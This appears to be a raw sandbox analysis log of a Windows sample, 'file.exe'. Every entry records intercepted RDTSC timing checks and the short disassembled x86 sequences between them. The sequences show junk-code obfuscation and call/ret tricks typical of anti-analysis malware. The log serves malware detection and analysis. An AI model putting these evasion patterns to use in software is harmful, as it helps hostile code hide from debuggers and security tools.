Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF8DA second address: FDF8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F60C4BB5412h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF8F8 second address: FDF913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F60C4EB377Eh 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF913 second address: FDF917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5085 second address: FE509C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4EB3783h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3F88 second address: FE3F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE427A second address: FE4280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4280 second address: FE4286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4286 second address: FE428F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4438 second address: FE443E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE475D second address: FE4761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4761 second address: FE476D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE476D second address: FE4777 instructions: 0x00000000 rdtsc 0x00000002 je 00007F60C4EB3776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECFF1 second address: FECFF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECFF5 second address: FECFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBE1D second address: FEBE3D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007F60C4BB5406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F60C4BB540Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFFF0 second address: FB003D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F60C4EB3776h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d xor di, 426Ah 0x00000012 jmp 00007F60C4EB3784h 0x00000017 lea eax, dword ptr [ebp+12475CEFh] 0x0000001d mov dh, 7Ah 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jng 00007F60C4EB378Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB003D second address: F9A02A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F60C4BB5408h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D17F1h], edx 0x0000002d call dword ptr [ebp+12443B6Dh] 0x00000033 pushad 0x00000034 jno 00007F60C4BB540Ah 0x0000003a push eax 0x0000003b push edx 0x0000003c push edx 0x0000003d pop edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB010E second address: FB0112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0112 second address: FB0118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0600 second address: FB060F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F60C4EB3776h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0685 second address: FB0689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0689 second address: FB0699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0699 second address: FB069D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0F2E second address: FB0F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3788h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, ecx 0x0000000c push 0000001Eh 0x0000000e nop 0x0000000f jnc 00007F60C4EB3780h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007F60C4EB3784h 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1305 second address: FB1390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F60C4BB5406h 0x00000009 jng 00007F60C4BB5406h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F60C4BB5408h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f jo 00007F60C4BB541Dh 0x00000035 jmp 00007F60C4BB5417h 0x0000003a mov edx, dword ptr [ebp+122D2DA7h] 0x00000040 lea eax, dword ptr [ebp+12475CEFh] 0x00000046 jmp 00007F60C4BB5415h 0x0000004b nop 0x0000004c push edi 0x0000004d js 00007F60C4BB540Ch 0x00000053 jnp 00007F60C4BB5406h 0x00000059 pop edi 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1390 second address: FB1394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1394 second address: F9AB93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F60C4BB5408h 0x0000000c popad 0x0000000d nop 0x0000000e mov edi, dword ptr [ebp+122D3769h] 0x00000014 call dword ptr [ebp+122D2EB6h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F60C4BB540Eh 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB93 second address: F9AB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB97 second address: F9ABB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F60C4BB5406h 0x00000009 pop ebx 0x0000000a jbe 00007F60C4BB540Eh 0x00000010 jno 00007F60C4BB5406h 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC320 second address: FEC328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC5E5 second address: FEC5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F60C4BB5406h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC5F0 second address: FEC625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4EB377Ah 0x00000008 jmp 00007F60C4EB3784h 0x0000000d jne 00007F60C4EB3776h 0x00000013 jp 00007F60C4EB3776h 0x00000019 popad 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1347 second address: FF1351 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60C4BB540Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1351 second address: FF135D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF135D second address: FF1363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1363 second address: FF138B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F60C4EB3776h 0x00000008 jmp 00007F60C4EB377Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F60C4EB377Eh 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF138B second address: FF13A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F60C4BB540Bh 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1629 second address: FF1634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1634 second address: FF163E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F60C4BB5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF163E second address: FF165A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4EB3785h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1E69 second address: FF1E77 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F60C4BB5408h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF210D second address: FF214A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F60C4EB3776h 0x0000000c popad 0x0000000d jo 00007F60C4EB379Dh 0x00000013 jmp 00007F60C4EB3787h 0x00000018 jmp 00007F60C4EB3780h 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF214A second address: FF2150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1009 second address: FF1020 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F60C4EB3776h 0x00000008 jg 00007F60C4EB3776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1020 second address: FF1024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1024 second address: FF103E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F60C4EB377Ah 0x0000000e ja 00007F60C4EB3776h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF103E second address: FF1043 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA538 second address: FFA53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BD54 second address: F6BD70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB5417h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BD70 second address: F6BD80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 ja 00007F60C4EB3776h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD478 second address: FFD487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F60C4BB5406h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFCCCD second address: FFCCDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F60C4EB3776h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFCCDE second address: FFCD0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5419h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60C4BB540Ah 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD168 second address: FFD186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4EB3787h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004F2F second address: 1004F65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5413h 0x00000007 jmp 00007F60C4BB5412h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F60C4BB540Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003BD2 second address: 1003BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D51 second address: 1003D57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D57 second address: 1003D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F60C4EB3776h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D65 second address: 1003D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D69 second address: 1003D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F60C4EB3776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D64 second address: FB0D6E instructions: 0x00000000 rdtsc 0x00000002 je 00007F60C4BB5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D6E second address: FB0D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D75 second address: FB0D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D83 second address: FB0D89 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D89 second address: FB0D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D8F second address: FB0DE0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a cmc 0x0000000b mov dword ptr [ebp+122D24CEh], edx 0x00000011 popad 0x00000012 mov ebx, dword ptr [ebp+12475D2Eh] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F60C4EB3778h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 add edx, 0675C09Bh 0x00000038 add eax, ebx 0x0000003a add edx, 6E86667Ch 0x00000040 push eax 0x00000041 jbe 00007F60C4EB377Eh 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0DE0 second address: FB0E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dl, 06h 0x0000000a push 00000004h 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F60C4BB5408h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push eax 0x00000027 je 00007F60C4BB5418h 0x0000002d push eax 0x0000002e push edx 0x0000002f push edx 0x00000030 pop edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004146 second address: 1004155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F60C4EB3776h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007F6B second address: 1007F77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F60C4BB5406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008106 second address: 100811B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3781h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10083E1 second address: 1008404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F60C4BB5414h 0x0000000d jnl 00007F60C4BB5406h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10087AB second address: 10087C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F60C4EB3784h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10087C5 second address: 10087DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F60C4BB5413h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10087DD second address: 10087FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F60C4EB3784h 0x0000000b jno 00007F60C4EB3776h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BC6F second address: 100BC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BC73 second address: 100BC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F60C4EB3786h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BC93 second address: 100BCA3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 ja 00007F60C4BB540Eh 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B32A second address: 100B330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B330 second address: 100B337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B337 second address: 100B359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4EB3780h 0x00000009 pop esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c push ebx 0x0000000d jno 00007F60C4EB3776h 0x00000013 pop ebx 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B4C1 second address: 100B4CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jp 00007F60C4BB5406h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B4CD second address: 100B4D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B8DF second address: 100B8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F60C4BB540Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011AE4 second address: 1011AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10124F4 second address: 10124F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013576 second address: 1013590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F60C4EB3781h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
